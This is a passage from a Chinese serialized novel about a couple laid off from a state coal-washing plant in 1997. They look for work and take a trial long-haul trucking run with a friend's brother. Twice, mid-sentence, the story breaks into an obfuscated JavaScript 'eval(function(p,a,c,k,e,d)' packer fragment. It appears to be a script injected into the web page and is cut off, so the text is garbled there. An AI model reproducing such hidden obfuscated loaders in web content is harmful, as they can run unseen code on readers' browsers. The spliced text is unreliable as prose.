树根下用砖砌了四方形围起来，方便浇水施肥，这颗樱桃树已经9岁了，也是他们结婚时收拾房子，因为凤珍喜欢吃樱桃厚成从老家园子里挖来了樱桃树，栽上两个人像养孩子一样精心浇水；洗米水都浇樱桃树，二年后樱桃树开花了，结果引来了蜜蜂蝴蝶，小院子有了生气，端午节樱桃熟了，红红的樱桃，一串串的压弯了树枝，左右邻居的大人，孩子都要过来品尝粒粒酸甜的樱桃。樱桃的种子在家属区很多家的院子里生根长大，开花结果…… 公房的面积是统一的规格64平方米，进屋是厨房，厨房里有一个煤炉子，带屋里的暖气片，还有一个做饭的大锅灶台，墙边是橱柜，自来水管下面是水缸，切菜的案板，暖瓶，生活用品等等摆放的整齐。从厨房往里走两个房间，靠阳面的是两个孩子的卧室，里面放了一张上下铺的大床。这个床是厚成自己设计制造的，全是铁管、角铁焊接起来的，并且是组合的，拆装方便。刷的红色油漆。妹妹睡在下铺，哥哥睡在上铺。屋子里有一个书柜，全家人的书都装在书柜里。有个大方桌，这个桌子既是全家的餐桌，又是孩子们写作业的学习桌，有时间也充当厚成、凤珍的办公桌，这张桌子配有六把北京凳子。里边是他们夫妻的卧室，有一张大床，长和宽比普通床都多十公分。床的木料都是上好的红松，两边各有一个床头柜。靠墙有一个三个开门的大衣柜，床对面有一对简易的沙发，一个茶几，屋子里家具是统一枣红色油漆，闪闪发光。从家具的油漆一点看不出他们的年轮，看到这套家具的人，无不称赞，其质量、做工上乘，会好奇的问是从哪个家具店买的？厚成、凤珍都骄傲地说：“是俺爹给做的！”厚成和凤珍结婚时，宋凤桐，于淮南老哥俩通力合作，拿出了几十年积攒的木料，使出了看家的本事，用了一年的时间才做出这套家具。厚成娘说是有模有样的家具。家具完工后的那一天，厚成娘和凤珍娘给两位老爹做了10道大菜，两家人共同庆祝，激动的厚成、凤珍泪流满面。 小凯、小丹听到了大门响，从窗户上看到了是爸爸妈妈回来了，高兴的从屋里跑出来。厚成把摩托车送到仓房，四个人把东西拿到屋里。厚成、凤珍脱掉羽绒服，把买回来的东西整理好，坐下休息一会儿，小凯给爸爸妈妈倒了2杯开水，厚成问小丹：“你们俩吃午饭了吗？”小丹说：“妈妈留在锅里的饭菜没凉，我们俩吃过了！”凤珍拿出了新买的衣服，让小凯、小丹穿上试试。小凯是一条学生蓝的裤子，上衣是黑条绒夹克，裤子稍长一寸，小凯穿上很精神。凤珍说：“洗一次缩水正好了。”小丹是一条灰蓝两色的小格裤子，上衣是紫色的花条绒娃娃服，合身极了，妈妈喜欢得让小丹转个圈儿给全家人看。厚成说：“凤珍，你给孩子们打扮太漂亮了，说着拉过两个孩子吻了他们的脸。 凤珍让孩子们把衣服脱下来，拿来了针线把扣子一个个缝了一遍。把小凯的裤子放到水盆里泡上。 厚成问凤珍：“还有什么事要做的？” 凤珍说：“要洗的要擦的，我都做完了，你把灯笼拿出来重新糊上纸看着鲜亮！” 厚成想了想说：“今年不挂灯笼了，厂里欠供电局电费，前些天咱们家属区还停电，这是市领导协调后才送电。今年咱不挂灯笼了。” 风珍听了说：“行，孩子们出去手里有手提的小灯笼，你把手电池装上，需要时用手电。两个孩子互相看着，又看着爸爸妈妈没说什么，小凯说小丹：”我们去找小刚玩，说着拉着小丹走了。 1997年的除夕晚上，家属区没有了往年的张扬，往年的今晚小区一片灯火辉煌，孩子们成群结队，手里拿着烟花大呼小叫地玩耍，今年不约而同地没有一家挂上灯笼，孩子们也都在自家没有出门。已经到了十点，听到了稀稀啦啦的放炮声。凤珍包了韭菜鸡蛋馅，芹菜肉馅的两种饺子，厚成负责做菜，红焖鲤鱼，切凉肘子、切皮冻掰猪爪、红焖鸡块、家常凉菜、炒蒜苔6个菜，他俩边做菜，边看着电视春晚节目。小凯、小丹去小刚家玩了一会儿回来了，凤珍问：“陈叔、王姨在干什么呢？”，小丹说，：“在包饺子呢！”厚成把菜做好后说“凤珍，你煮饺子，我和孩子们去放炮。”两个孩子提着灯笼，厚成拿了一挂1000响的鞭炮挂在大门上，凤珍看着，厚成说：“点火了——”，凤珍说：“接财神了！”，噼里啪啦的炮声震耳欲聋。新的一年来到了，炮声停了，小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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住在家属区的工友和分散住的工友，感情上有着很大的差距。工友们每天工作在一起，下班回家又住邻居，有一种一家人的感觉，无论谁家有大事小情家属区的人都会聚到一起操办，特别是有结婚的喜事，每家都不要做饭了，全家人一定要到办喜事的工友家吃两天大餐，因为每家的做饭家什都被征用了，男人们、女人们也都各有各的角色帮忙。孩子们放学后要单独开饭。办完事情之后自家拿回自家的家什。孩子小时大人忙照顾不上，随便就放到哪家工友家，邻居会平平安安地送回来；放学早回家开不开门，随便到哪家可以写作业，吃完饭被送回家。十年了，家属区已经形成了独特的文化。 以往每年春节此时，家属区的男女老少要通宵组团打扑克，打麻将，孩子们手提灯笼到叔叔、伯伯、阿姨家拜年。 鞭炮声此起彼伏。礼花带着响声频频升入小区上空，天地之间火树银花。小区一派节日欢乐祥和。 今年小区的人们没有节日的心情，小区也没有了节日的气氛。 初一厚成去厂里值班，早上凤珍煮了两盘芹菜馅饺子，一盘厚成吃，一盘用饭盒装上带到班上。厚成吃完饭后打扫院子，穿上羽绒服，带着饭盒，向工厂走去。这时阳光已透过了云层洒满大地，这是冬天里难得的大晴天。厚成的心情也开朗快乐，少有的边走边哼起歌儿。到了保卫科见到了几位昨日值班的工友，大家互相拜年。今日值班的工友也陆续到了，厚成是今日值班的班长；昨日值班的班长带着两个班的值班人员，按照厂里的路线各车间、货场、车队全部巡察一遍，一切正常，然后组长签上了交接记录。昨天的值班人员全体下班了，厚成他们在保卫科边吃着瓜子、边喝茶闲聊。 货场主任陈宝国是一位老知青，47岁了，坎坷的经历已经让他两鬓白发，他早上喝了几口酒，脸上微红，喝了口茶，对着那几个值班人员说：“兄弟们，现在这里没有工人，我们讨论讨论年后上班的事，可以不可以？” 机电科长张德华接着说：“我看没问题。”其他人附和说：“好好好！” 陈主任说：“现在的传言是市里让我们厂改制，以我们厂子做典型，推动全市企业改革。以我个人理解，我们厂是国有企业，所有资产都是国家的财产，如果改制民营，那不是国有资产变成了个体老板的私有资产了吗？我们这些人是长在红旗下的工人阶级，要成为资本家打工仔，这可是性质变了，从根本上变了，陈主任提出问题太大了，几个人面面相觑，无言以对。 厚成想了一会说：“我们国家在支持民营经经济发展，对于像我们厂这样亏损的企业，通过改制民营经济进入，能解决职工就业，又能上缴利税，总比现在停产设备闲置，工人放假状态好。至于国家资产不会白白给民营老板，会以租赁的形式或某种其它形式给其使用。总的来说，厂里的改制方案没有最后出台，具体情况未知，我们只能等待，也不要让小道消息干扰，静观其变吧！” 厚成的一番话，大家听了点点头表示赞同。 大华拍拍陈主任的肩膀说：“大哥，我们打扑克吧！”他们开始斗地主，谁输了就去巡逻。到中午饭点，几个人都带着饭盒去食堂热了，大家坐在一起品尝着各家的饭菜。边吃边说还真有过年的气氛。 初二早晨厚成回到家中，凤珍已做好了饭菜，孩子们也起来洗漱完毕，厚成和凤珍把饭菜端在桌子上。四口人吃过早饭，凤珍让两个孩子都换了新衣服，因为要去爷爷奶奶，姥姥姥爷家，这是两个孩子最高兴的事，第一是能收到红包，第二是还能和表弟表姐妹们一起玩，所以他们快速打扮好，凤珍给两个孩子拿出新织的毛线帽子，哥哥是墨绿色的坦克帽，妹妹是红色带两只小兔子耳朵的帽子，两个孩子照着镜子笑得很开心边说：“谢谢妈妈！”凤珍又带些装了新币的红包，这是要给那些外甥侄儿的红包以前是每个红包是二张新的10元纸币，今年是每个包二个5元的新纸币。厚成骑一辆自行车带着小凯，凤珍骑一辆自行车带着小丹去父母家。 6. 第六章 每年的正月初二是厚成家、也是凤珍家结婚的儿女回家拜年的日子。这已经是老规矩了，自从厚成和凤珍这俩个老大结婚后第一年开始，俩家的两位妈妈做主，孩子回来拜年，两家在一起吃饭，两家各做饭菜，但不能重样。两家妈妈年前会商量好吃饭在哪一家，哪家做什么，要用本子写下来，防止重样。由哪家做准备，这样的事由个两位妈妈主持，两位爸爸如同客人一样，什么都不要操心了，两位爸爸高兴可以安心的下象棋了。 今年是轮到在厚成家吃饭。 厚成和凤珍骑自行车近一个小时回到了家。他们先到厚成家，厚成妈妈已经出来看了好几趟了，这回看到儿子四口人，开门回头向屋子里人高兴地喊：“厚成、凤珍他们一家人回来了！” 一家人忙着迎接，他们见面边拜年，边往屋里走，两位老父亲停止了下棋，厚成和凤珍先给两位爸爸鞠躬行礼拜年，两个孙子跪下给爷爷、姥爷、奶奶、姥姥磕头拜年。奶奶、姥姥连忙扶起孙子孙女并给孩子红包，把孩子搂在怀里，乖乖的叫个不停。奶奶搂着孙子，姥姥搂着外孙女稀罕的了不得，都说隔辈亲，这真是至理名言。 厚成、凤珍是个两家庭的老大，是两个家庭的荣耀，也是两个家庭的孝子，两个家庭弟弟妹妹的榜样。他们俩没有完全靠父母而完成了大学的学业，工作后都入了党，厚成提拔到了中层干部，单位分配了房子。无论两家弟弟妹妹结婚，他们都要为父母分忧，拿出积蓄交给父母作为弟妹的结婚费用。所以，无论父母还是双方兄弟姐妹在感情上有一种既依赖、又敬重的情感。对两个孩子也是亲了又亲。 正月十六后，于凤珍去厂上班，厂办通知：“洗煤厂改制了，男年龄50岁、女45岁，可以办理提前退休。各车间主任，技术员，只留一人担双责。厂行政人员除留守处理善后，其余全部下岗。财务人员留岗，每个月800元工资。” 收到这个通知，基本上人人都懵了，不知所措，何去何从，铁饭碗碎了……经过了一周的挣扎，行政人员毫无疑问的下岗，专业人员都做出了艰难的选择或去或留。厚成车间的情况是，车间副主任兼技术员，年龄已50岁，再有5年正式退休，如果现在提前退休，工资只有300元。他家里有两位老人，两个读书的孩子，他爱人是厂里的行政人员，必须下岗，如果他再下岗，今后一家人的生活难以想象。 厚成和凤珍反复讨论权衡着。厚成年龄不够提前退休，但是为了留下副主任，只能下岗。 凤珍属于下岗年龄，到民营企业工作担心不适应；反复斟酌，厚成的态度是凤珍自己选择。最后凤珍决定下岗。 夫妻俩决定下岗，主动交出了工作，那位副主任对厚成感恩戴德，他明白厚成如果不下岗，那个下岗的人必须是他。 厚成、凤珍告别了工作十年的工厂，毫无准备的失业了，对于今后的生活，他们没有了方向，生活还要继续。交完工作的当天吃完晚饭，两个人回到自己的卧室。凤珍倒了两杯茶水，两个人边喝茶，边商量，如何找到生活的出路，也就是做什么？ 厚成是这样分析的，“我是学洗煤专业的，又在工厂干了十年的洗煤工作，离开洗煤厂，专业我用不上。据我所知，全市的其它洗煤厂都不景气，就算调转到那个厂，前景也不乐观。你是会计离开企业，专业技术也用不上，现在调转工作也很难找到好单位。” 凤珍边听边点点头认同厚成的观点。凤珍说：“我们一直在厂工作，住在家属区，离市区远，十年的封闭式生活，对社会上的事情不了解，明天我们去市里商业区转转，考察一下，我们能不能做点啥买卖。” 厚成说：“好吧！找项目不是一天两天能找到的。” 第二天早上，厚成骑着摩托车带着凤珍去市里商业区，他们家距离商业区将近10里路，早上行人少，厚成心里着急，骑摩托车骑的很快到商业区。商家刚开业，俩人进了商场。平时来商场需要买什么，到柜台买好就走，这次不一样，夫妻俩慢慢的浏览他们一个个商场仔细的看。中午，饿了在商场附近的小吃店里，每个人吃了一碗面，然后接着走。第一天，他们把商场全看完了，厚成看了看天色已晚说：“我们回家吧!” 厚成、凤珍两个人风尘仆仆地回到家。厚成把摩托车送到仓房，凤珍开门进屋把炉火捅着，十多分钟暖气热了。厚成说：“我去做饭，你休息一会，走了一天累了吧。”一个多小时后，厚成把饭菜做好，端上来两个人边吃饭边聊一天考察的印象。凤珍说：“咱们今天去的是百货商场，无论是货物还是商家都是满满的，看着拥挤，没有闲置的床位，也没有见外兑的招牌，看来我们是进不去经营了。” 厚成说：“嗯，明天我们去农贸市场看看！孩子们去奶奶家没回来之前，最好我俩能找到生意。”看了看凤珍又说：“别担心，咱们俩只要肯干，一定能够挣到钱，让孩子们像过去一样生活，！”凤珍看着厚成的自信目光，笑了！ 凤珍烧了热水端进屋里，厚成烫烫脚，自己也倒了一盆水烫烫脚，他们俩边烫脚边看电视节目，将近九点，他们洗漱休息了，厚成把凤珍紧紧的搂在怀里，贴着他耳朵说：“珍珍好好睡吧，相信哥，咱们一定会有好日子。” 过一会儿的功夫，凤珍响起了鼾声后，厚成下地披上衣服，坐在沙发上久久地沉思。 第二天他们来到了农贸大市场，买东西的人没有卖东西的人多，可能是正月里家家还有年货，没吃完吧！农贸市场的货物十分丰富，新鲜的蔬菜，水果，各种肉类，各种鱼类看得眼花缭乱。他们没有看到空的床位和外兑的标牌，两个人大失所望地回了家。厚成对凤珍说：“看来我俩找生意做这个想法是不切合实际！” 这时有人敲门，厚成去开门是陈洪涛和媳妇王玲来了，陈洪涛是厚成的高中同学。陈洪涛是厂里车队的司机，下岗了，王玲是总务科的人事员，属行政人员也下岗了。他们和厚成、凤珍都是同龄人，他们住在一栋房，陈洪涛和厚成性格相近两个人关系很好。凤珍和王玲相处的也很投机，两家的孩子也在一起玩，一起上学，两家有着深厚的友情，厚成说，这两天我和凤珍去市里商业区，各个商场和农贸市场考察，这些地方没有摊位，也没有出兑的标牌，我俩想要做生意是不可能的。 陈洪涛比厚成小一岁，平时叫厚成宋哥。陈洪涛喝了口水说：“宋哥，我俩从我弟家回来，是要和你们商量一件事情。我弟弟陈洪波昨晚跑长途回来，知道我们下岗了，打电话让我们今天去他家商量我们干什么，我们到弟弟家，弟弟问我下岗后想干什么，我说还没想好，另外无论做什么生意都要本钱，我们家只有几千元能干什么？我弟弟说：“哥，如果没有好的创业项目，买车跑长途运输也能养家糊口，只是你们这些年上班，每天按时上下班，有休息时间，我跑长途没日没夜赶时间送货，不知道你们能不能吃这种苦？”我说现在已经下岗了，生活还要继续，我是个大男人，你能干我也能干。其实一开始干这行，没有货主，没有行车经验，小弟这些都需要你帮助我。”我弟说：“哥看你说的什么话，你已经失业了，一家人要生活必须帮你！”我说：“老弟你有这句话，我心里有底了，我跟着你干这行吧。小弟是要你跟着我受累！”接下来我弟说:”长途货运得需要两个司机，我说宋哥也下岗了，回去问他想不想和我一起干这行。小弟说，宋哥如果同意一起干最好，你们互相了解这么多年的老朋友，住得近，人靠得住。“小弟又说：”跑长途车况很重要，车况好不耽误活。修车少费用低，挣到的利润高。如果车况不好，车在路上坏了，前不着村，后不着店儿修车太难了。有时在路上看到别人车坏了，停在路边，司机急得欲哭无泪呀！这种情况不但挣不着钱，耽误送货时间是要给货主赔钱的，你最好买一辆新车，我问：“买辆新车多少钱？”小弟回答说：“市里新开业，一个卖大货车的公司卖最新型的长春一汽产的大货车，车长九米六，适合跑长途运输，交首付后售车的公司帮助你办理贷款。我认识的跑长途运输的，已经有几个人换了这种新车。你去卖车公司了解一下，如果可以就买这种车。”我说：“小弟，我一会儿回家到宋哥家，如果他同意干这行，我俩在研究买车的事，你听我的消息”我弟说，如果宋哥同意一起干，你俩先跟我出一趟车，体验体验，然后再说买车的事。我说：“这样也好，等我的消息。 陈洪涛说完，厚成说：“谢谢！你老弟给我们指出了这个创业的路，我认为可以干。第一，你这些年一直都在开车懂车，我也有驾驶证，只是不常开，我们需要开大货车，路上慢慢适应。第二，小弟带着我们心里有底。第三，咱们两家合作更是心有底。我同意咱们合伙干长途货运。” 凤珍表示同意。 陈洪涛，王玲都笑了，两家人创业的项目这样决定了。 凤珍说：“你们商量下一步要做什么，我去做午饭！” 王玲说：“我和你一起做饭！” 陈洪涛说：“我们定下来做长途货运，小弟让我们跟着他一起出车体验一次怕我们吃不了苦。”说完去小卖部给小弟打个传呼，告诉我们定下来了，看他让我们什么时间跟着出车。 半个小时后，陈洪涛打电话回来了，小弟让他们明天下午一点去配货站同他一起出车，并告诉他去时带着洗漱生活用品。厚成说，小弟想的真周到太好了。他俩又议论了买车的事，洪涛说：“我们跟车走一趟，如果没问题，我们去卖车公司问好买车的具体条件，然后筹备买车的钱。”厚成说：“好，咱们问题一个一个的解决” 这时，凤珍说：“饭好了，咱们吃饭！说着王玲，凤珍端上饭菜，四个人边吃饭，边讨论着买车跑长途货运的事。有了创业的项目，四个人都有了精神头，每个人比前几天吃得饭菜多，吃得高兴了起来。 第二天下午，厚成、洪涛如约骑着摩托车来到了市里配货站，这是煤炭汽运公路出口最大的配货站，因为铁路火车皮运煤紧张，加之没有火车铁路线的边远地方需汽运，因而配货站和长途汽车货运应运而生，从事这个行业人员也越来越多，煤城运出去的都是煤、焦炭，没有其他的货物。因为煤城没有任何轻工业产品，煤城较其他城市经济尚欠发达。长途运煤回货源充足，货车很少放空，因为煤城所有的生活用品，建材，其他一切物资都是从外地运回，长途货运来回不空跑，经济效益比其他行业要高。 配货站的生意也很好，厚成、陈洪涛第一次来配货站，院子大的像个广场，停着上百辆大货车，放眼望去很震撼。这时，洪涛的小弟洪波过来和厚成握手说：“宋哥咱们有几年没见面了？！”厚成说：“是啊！洪波，你身体咋样？”洪波说：“还行，总熬夜胖不了身体！”洪波带他们进了一个配货站的屋里，屋里有40多平方米，靠窗户放了一张大写字台，上面有三部电话。一个40多岁的女人坐在转椅上嗑瓜子，看着洪波带着两个人进来，忙站起身来，拍拍身上的瓜子皮。洪波介绍说：“徐姐，这是我哥洪涛，这位是我哥的朋友宋哥！”徐姐分别和洪涛厚成握手，洪波又介绍说，这是配货站的老板徐大姐！“大家都相互认识了。屋里有一铺大长炕，他们坐在炕沿上，有几个躺着睡觉的司机不紧不慢地打着呼噜。 洪波说：“我们传亮来了去煤矿装煤。这趟活的货主是吉林长春的，我们一共去两辆车，你们俩跟我跑一趟，亲自体验，然后回来再定买不买车的事。”厚成说：“好的！”一会儿叫传亮的人来了，洪波给介绍说是他的内弟，两个人合伙跑长途运输几年了” 洪波认识传亮，见面拍拍肩膀。传亮说：“二哥下岗了，想跑长途，能吃这个苦吗？”他一连串问题洪涛不知先答哪个问题，只好嘿嘿地笑了。 四个人上了洪波的大货车。这个车是长春一汽的老款车，加了护板可装煤30吨。驾驶室很干净，车窗玻璃擦得很亮，驾驶台上摆着装饰品，放着空气清新剂，感觉他们把这个方寸之地也当成家的一样爱护。洪波坐到驾驶员座上，洪涛、传亮坐到卧铺位，最后上车的厚成坐到副驾驶位。洪波熟练地开着大货车出了货站，顺着公路往东开，到了铁东矿区，下了公路到了一个民营煤矿的检斤房，洪波把车停下来。煤矿的大架子下煤堆有一台铲车正给旁边的一台大货车装煤。洪波说来的正好，那台车装好，我们开过去。四个人下车，洪波带着他们进了检斤房。屋里有几个人，洪波和他们打了招呼。屋里有个大铁炉子炉盖烧得通红，有几个凳子，他们毫不客气地坐上，其中有那台车的司机老胡，煤矿的检尺员赵大楞。洪波掏出烟卷给他们每人一支，赵大楞拿着烟往炉盖上触着了，慢滋滋的抽了起来问洪波：“你们这次还是给长春的古老板送煤吧？”洪波点了点头回答。赵大楞又问：“你们这个货主不错呀，这也送了十多趟煤了吧？货款都结了吗？”洪波又点了点头回答道：“嗯，都结啦！”古老板的那个工厂是给一汽做配件的，厂里规模挺大，看着效益应该挺好。赵大愣说：“你们送煤送得顺利，我们矿跟着沾光啊，现在煤也存不下，都卖了出去，矿里工资发的可准时了！”司机老胡说：“，洪波送煤质量好，货主满意，信得过，我也跟着沾光，大家的日子都好过。”洪波摆摆手，哎，这是正常的，咱干这行有南来北往的朋友，要靠信誉说话，咱们这行能干长久。”几个人附和地点点头。那辆车装完后，传亮提车准备装车。洪波，洪涛、厚成坐在炉子旁继续说话，洪波接着说：“这几年跑货运咱家的车很少没有货主，夏天运煤五，六，七月是淡季，可是我的老货主你一车我一车地让我送煤，这活也接续上了。这货主买煤干什么用？需要什么煤？咱们生在煤城、长在煤城，那一带煤矿产什么煤，咱们都记在心里，拿货主的事当自己的事肯定没错，咱送去的煤质好烧、省煤，下次用煤那就还找咱们嘛！这个户主就是留下了。厚成，洪涛连连点头称是。洪波说：“万事开头难，两位哥哥，你们比我强，我开始出车那才是牛犊叫街急蒙了，谁告诉你啊，只能东撞一下，西撞一下的路全是自己摸出来的，你们现在入这行有老弟我，会尽全力带你们的。” 厚成、洪涛表示感谢。厚成说：“我们哥俩下岗无事可做，没有自信了，有你的支持，我俩要少走多少弯路。说着传亮，赵大楞进屋。赵大楞拿着计算器对照检尺单子算好了账，洪波也拿计算器算了一遍，从包里掏出一沓钱递给赵大愣。把单子放在挎包里说两清了，大愣说清了。 两辆车封好了。洪波说：”传亮你上老胡车上，我们出发吧，到服务区吃饭，传亮上了老胡的那辆车，老胡提车按了喇叭车开走了。洪波，洪涛、厚成上车后，洪波开出检尺房，赵大愣站在门口招手，洪波按了喇叭车开走了。 出城不远，有交警执勤检查车辆，洪波把驾驶室的挎包摘下来，在装证件的小兜找出证件，下车递给了交警。交警仔细看完后把证件还给了洪波，挥手示意放行。 洪波发动了车子继续往前开，这时洪波说：“刚才在市区人多车多，不敢分神，我们出城了可以边走边唠嗑。你和我哥这次跟我出车，体验跑长途运输的感受，对你们决定。入不入这行很重要。厚成说洪波：”我和你哥真是感谢你呀，我们下岗后不知做什么，你能这样的百分之百支持我俩，我俩有信心，三个人边走边聊，洪波向他们介绍我们的长途货运，基本是，以吉林，松花江北的各市县为主，返回时到哈市货站配货。配货的运费低，但是比放空车多收入些，补充过道费。跑长途运输事事都要心细，车况要保养好，货主的运费要在卸货之前收回。总之，要能吃苦，要有耐心。跑运输怎么干也不能发家致富，但是能维持家里的日常生活还是可以的。现在下岗工人多了，入这行的人越来越多，竞争也很激烈。两位哥哥如果买车，因为你俩自己开车，不用雇司机，每个月除了家里的生活费之外，还贷款本息应该没问题。 他们边跑边聊到了高速公路边上的服务区，两辆车停下后都下车，洪波说：“我们到这里吃饭后再赶路。洪波走在前面，进了一家服务区的饭店，客人基本都是跑长途运输司机。所以他们经营的饭菜也很实惠，像大盆的炖菜，他们总共六个人要了两盆炖菜，一个酸菜五花肉炖粉条，一个土豆炖茄子，每人一大碗米饭，因为有厚成、洪波破例点拼盘，一只烧鸡。洪波说：“我们出车不能喝酒，给你俩点白酒。”厚成连连地说不喝酒，我们还要跟你们学习，别影响正事儿。”几个人很快吃完饭，各自把水壶装满洪波看看表已经是晚上8点多了，洪波说：“我们长途车跑道的时间多数是晚上，因为晚上没有太多的其他车辆，基本都是货车，避让很少，安全系数高。另外装车、接货主、卸车，这些都也都是白天办理。” 洪波发动车开出服务区，厚成从倒车镜看到后面的大货车，一辆接一辆的灯光闪烁，像一条长龙很壮观。厚成这次才知道，长途货运的规模也是一个产业大军哦！ 车已经跑了3个多小时了，到了一个县界，公路交警在路上检查，交警示意停车，洪波下车拿着出证件交警验过后放行了。 车辆行驶不远处看到对面一辆货车抛锚在路上，前后放到指示牌，两个人在修车。洪波说：“宋哥，长途车回到配货站后第一个任务要检查车辆保养车，如果发现哪个部件有问题，立刻要修好，车辆不能带病出车，如果坏在路上，前不着村后不着店，简直是能急死人。你看这两个兄弟不知道啥时候能修好车。” 凌晨1点多了，车开进了服务区，他们下车加油，上卫生间，活动半个小时后上了车，传亮坐上了驾驶位，洪波上卧铺休息了。厚成已经困倦，但下车活动后又有些精神了。洪波说：“你们慢慢地适应。这车每个月能干近15趟活，前十趟活是挣养路费，运管费，保险费，这些固定费用是必须付。后几趟活才是工资，修车，最后剩的是利润，真是不能耽误一点，出点差错一个月白干。聊了一会儿，厚成困了，睁不开眼睛，坐着睡着了。一觉醒来天已经亮了，厚成看了下手表五点多了，转过脸，看着传亮笑了。传亮说：“宋哥，我看你还能干这一行，坐着睡了几个小时。”厚成看到里程表车已经出跑出了230公里了。 出了省界，行驶正常的话上午10点多到长春。洪波说，现在七点多，我们到前面服务区吃饭！”服务区大院里停着几十辆货车，也有往外走的，也有陆续往里进的，很是繁忙。他们一起进了饭店，饭店里服务员招呼：“亮哥，你们回来了！”他们来到一个空位上，传亮点了青椒炒土豆片，冻豆腐炖海带，白菜炒木耳，西红柿炒鸡蛋。服务区的饭店菜盘一样，都是像小盆一样大，一会儿饭菜全上来了，几个人熬了一夜，这时间闻到饭菜的香味儿都大口的吃了起来，时不时的有来有走的司机互相打招呼，偶尔传递一些配货的信息，不同的口音，南来北往的司机服务区的客栈饭店是他们交流的地方。 他们吃完饭休息一会儿，洪波、老胡分别围绕自己的车辆进行检查一番， 敲敲轮胎，检查货箱等各部位，厚成和洪涛跟着后面看着。洪波还钻进车底下，检查车辆底盘，检查没有问题后他们上了车，近十点多，他们到了卸货工厂车停下后，公司验收的工作人员过来上车看过煤炭，然后通过了地称检斤，洪波和工作人员一起到财务结算运费。传亮和老胡的两辆车提到了厂收煤员指定位置，几名装卸工开始卸煤。他们几个人来到这个公司为外地司机安排的休息室，一个有100平方米大的屋子，里面有一个大通铺，地上有一个长条桌子，上面放着热水壶，有几把椅子，屋角放着洗脸盆架，有洗脸盆和肥皂。进屋后，洪波说，咱们洗洗手，然后把鞋脱了上铺躺一会休息，等卸完车我们往回走。厚成说：“这个工厂条件不错，还有休息的地方，洪波说，宋哥，你们这次来最幸运，这是我卸煤的最好货主，其他的地方哪有这个条件，卸车时只能在车里等吃煤灰。 两个小时之后，两台车的煤卸完，两台车的司机又检查车况没有问题，他们商量一下说去配货站。 二辆车来到了配货站，配货站屋里老板桌上摆了三部电话，正好有一部电话铃声响起，老板拿起电话是货主要车配货，老板询问好价格装车地点要几台车，然后放下电话朝洪波笑了笑说，“兄弟，你的运气真好，刚进屋来电话了，去建材市场装地板砖，运费2400元。”洪波问要几台车？”老板说：“要三台车。到你们市里建材市场内卸货。你们现在两台车先去装车，我再派车过去！”洪波拿出200元中介费交给了配货站老板说：“谢谢老板！老板给洪波写个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些路边的饭店客人全是车老板，他们都是日夜兼程的跑长途，所以吃饭、休息都在这个装卸货的时间里。店家为了招揽顾客，所以在饭厅之外都备有休息室。这里也是大通铺，自己把衣服卷上当枕头，躺下便呼呼大睡了起来。厚成和洪涛挨着一会儿也睡着了。 厚成醒了起来，坐在炕沿边上。这时洪涛也醒了，看看他们四个人还在睡后，厚成对洪涛轻声地说：“咱俩去前面餐厅！” 餐厅有二个桌子吃饭的客人，他俩在一个靠墙的桌上坐下，厚成拿二个杯子去水壶倒了二杯热水坐下来说：“洪涛，你看我们俩能不能干这行？” 洪涛想了想说：“哥呀，我也想了这行，确实苦，出车没黑没白，可是我们也没有什么比这个好的项目。现在买车能贷款，还有洪波帮助咱，吃苦受罪，我能挺住。” 厚成说：“我和你的想法一样，罪是人遭的，我们是男人，养家糊口是我们的责任。我们回家后和媳妇商量好，现在主要是我们手头没有钱，首先要凑够买车的首付款，还要找个担保人” 洪涛说：“这些我们回去再想办法，咱俩去看看车装完没有？让他们睡吧！” 他们来到装车现场，老板走过来说，马上装完车了，你们准备出发吧！“ 洪涛准备去招呼他们，不远处洪波他们四个人走来。 老板把货单交给了洪波说：“让接货的按照这个单子验收，卸车后他们付运费！”装卸工这时把车封好。 洪波他们分别上车往回返，这时已是晚上6点多了，天已经黑了，城市的路灯，商家的霓虹灯不停地闪烁，把这座城市照得如同白昼。他们的心情特别高兴，洪波打开了车里的音响，美妙的音乐让他们身心放松。 出城后，洪波把车开进服务区加油站，两台车加油后，开始上了高速奔驰向前。现在是传亮驾车，洪波在铺上，厚成继续坐在副驾驶位置，因为已经休息好了，边走边聊，围绕着买车贷款，怎样还贷款，怎样联系货主等经营长途货运的一些经验，厚成认真地听，时不时地插话询问。时间过得很快，车已经跑出100多公里，前面停了一排车，传亮减速停下车，跳下车去前方查看情况。前面车的司机也下了车，他们往前走，询问发生了什么事，这时有人回来说，前边有辆货车车胎爆了，车速快打爆的轮胎磨起火花了，车上的货烧掉了一部分，现在等救援拖车把车拖走。大概得2个小时后，我们才能放行。传亮问了有没有人员伤亡？他们说，驾驶员受点轻伤，其他人没什么事儿。传亮上车后，把前方情况告诉了洪波、厚成。洪波说：“跑长途车胎质量必须是最好的，另外要勤检查发现有问题，马上换备胎。出车就怕这种事。我们本应该半夜到家，这就不知道什么时候能到家了。”“我这半个月没有回家了，换洗的衣服都是我媳妇给送到车上唉，也想我媳妇和孩子了！”对厚成说：“宋哥如果能有别的生意我也不想跑这个长途货运啦！” 厚成说：“这个活实在太熬人，各行各业都挤不进去呀，现在也只有干这行了，你能帮扶我们俩，回去后我们俩研究买车的事情吧！” 两个小时后，前面的车开始移动了，传亮也跟着往前慢慢的移动。当他们看到着火的货车已经被拖到边道上，车厢已经烧废了，三个人心情沉重，再也没有说话。 他们为了赶路，只去服务区加了一次油，当天五点多进城了，车到了配货站，洪波让厚成和洪涛回家，两台车去建材市场卸货，约好再联系。 厚成骑摩托车带着洪涛回家，厚成到了洪涛家门口停下车说：“洪涛，你回家休息，下午我们带着凤珍，王玲去卖车公司了解买车贷款的具体事宜。路上看着那辆车着火的事，我们不对她俩说！”洪涛点点头答应了。 